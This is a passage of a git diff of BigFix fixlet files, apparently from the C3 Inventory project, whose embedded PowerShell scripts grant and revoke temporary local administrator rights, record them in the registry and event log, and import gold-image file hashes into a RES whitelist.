+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25212">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 5*day}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25213">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes
index 09fe1c4de..fe1fd68e2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes	
@@ -1,84 +1,84 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Gold Image Hashes to Authorized Files - Windows
-  ID       : 21897
-  Author   : RES
-  Domain   : BESC
-  Imported : 2016-10-03T16:49:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Gold Image Hashes to Authorized Files - Windows</Title>
-    <Description><![CDATA[This fixlet will be relevant when there are gold image baseline results in the baseline share.&nbsp; When executed these applications and their associated hash values will be added to the whitelist.&nbsp; If the application is already in existence, the new hash will be added. ]]></Description>
-    <Relevance>exists main gather service</Relevance>
-    <Relevance><![CDATA[exists descendants whose (name of it starts with "authfiles" and name of it ends with ".txt") of folder ((value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry)]]></Relevance>
-    <Source>RES Software</Source>
-    <SourceReleaseDate>2016-10-03</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Source Release Date: 2016-10-03
-delete __createfile
-delete run.ps1
-
-createfile until _end_
-param (
-    $InputDir = ".",
-    $InputFilter = "authfiles*.txt",
-    $PwrTech = "${{env:ProgramFiles(x86)}\RES Software\Workspace Manager\PwrTech.exe"
-)
-
-#Not Automatically set on Windows 7
-$PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
-
-function write-log {{
-    param(
-        $Message
-    )
-    $LogFile = "$PSScriptRoot\Import.log"
-
-    $FormattedMessage = "$((get-date).tostring()) - $((Get-PSCallStack).FunctionName[1]) - $Message"
-
-    write-verbose $FormattedMessage; $FormattedMessage >> $LogFile
-}
-
-#Get List of Files older than the TimeStamp in the Repository (Initialize Empty Array for PS <= 2.0)
-$Files = @(Get-ChildItem -force -Recurse (resolve-path $InputDir).path -Filter $InputFilter -ErrorAction SilentlyContinue)
-
-foreach ($File in $Files) {{
-    write-log "Processing $($File.FullName)"
-
-	write-log "Running: & ""$PwrTech"" /importhashes=""$($File.FullName)"" /createifnotexists"
-
-    $Output = & "$PwrTech" /importhashes="$($File.FullName)" /createifnotexists | Out-String
-
-    write-log $Output
-
-	if (($Output -join "`r`n") -like "*Finished importing file hashes*") {{
-		write-log "Success. Deleting $($File.FullName)"
-		remove-item $File.FullName -erroraction silentlycontinue
-	} else {{
-		write-log "Failure. Leaving $($File.FullName)"
-	}
-
-    write-log "Done Processing $($File.FullName)"
-}
-_end_
-
-move __createfile run.ps1
-
-waithidden powershell.exe -executionpolicy bypass -file "run.ps1" -InputDir "{(value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry}"]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Gold Image Hashes to Authorized Files - Windows
+  ID       : 21897
+  Author   : RES
+  Domain   : BESC
+  Imported : 2016-10-03T16:49:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Gold Image Hashes to Authorized Files - Windows</Title>
+    <Description><![CDATA[This fixlet will be relevant when there are gold image baseline results in the baseline share.&nbsp; When executed these applications and their associated hash values will be added to the whitelist.&nbsp; If the application is already in existence, the new hash will be added. ]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[exists descendants whose (name of it starts with "authfiles" and name of it ends with ".txt") of folder ((value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry)]]></Relevance>
+    <Source>RES Software</Source>
+    <SourceReleaseDate>2016-10-03</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Source Release Date: 2016-10-03
+delete __createfile
+delete run.ps1
+
+createfile until _end_
+param (
+    $InputDir = ".",
+    $InputFilter = "authfiles*.txt",
+    $PwrTech = "${{env:ProgramFiles(x86)}\RES Software\Workspace Manager\PwrTech.exe"
+)
+
+#Not Automatically set on Windows 7
+$PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+
+function write-log {{
+    param(
+        $Message
+    )
+    $LogFile = "$PSScriptRoot\Import.log"
+
+    $FormattedMessage = "$((get-date).tostring()) - $((Get-PSCallStack).FunctionName[1]) - $Message"
+
+    write-verbose $FormattedMessage; $FormattedMessage >> $LogFile
+}
+
+#Get List of Files older than the TimeStamp in the Repository (Initialize Empty Array for PS <= 2.0)
+$Files = @(Get-ChildItem -force -Recurse (resolve-path $InputDir).path -Filter $InputFilter -ErrorAction SilentlyContinue)
+
+foreach ($File in $Files) {{
+    write-log "Processing $($File.FullName)"
+
+	write-log "Running: & ""$PwrTech"" /importhashes=""$($File.FullName)"" /createifnotexists"
+
+    $Output = & "$PwrTech" /importhashes="$($File.FullName)" /createifnotexists | Out-String
+
+    write-log $Output
+
+	if (($Output -join "`r`n") -like "*Finished importing file hashes*") {{
+		write-log "Success. Deleting $($File.FullName)"
+		remove-item $File.FullName -erroraction silentlycontinue
+	} else {{
+		write-log "Failure. Leaving $($File.FullName)"
+	}
+
+    write-log "Done Processing $($File.FullName)"
+}
+_end_
+
+move __createfile run.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file "run.ps1" -InputDir "{(value "EnterpriseServerFolder" of it as string & "UploadManagerData\BufferDir\sha1") of key "HKEY_LOCAL_MACHINE\Software\BigFix\Enterprise Server" of x32 registry}"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes
index be4e6f295..1afdf7097 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes	
@@ -1,187 +1,187 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Permanent Administrators to Authorized Requestors - Windows
-  ID       : 24156
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:25:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Permanent Administrators to Authorized Requestors - Windows</Title>
-    <Description><![CDATA[<P>This all all explicit members of the local administrators group as Authorized Temporary Administartive Rights Requestors.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Authorized Requestors */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to add all local administrators&amp;nbsp;as&amp;nbsp;Authorized Temporary Administrative&amp;nbsp;Rights&amp;nbsp;Requestors.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Authorized Requestors
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry - set of component string of sid of user "Administrator" - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry )}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Grant -Requestor"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
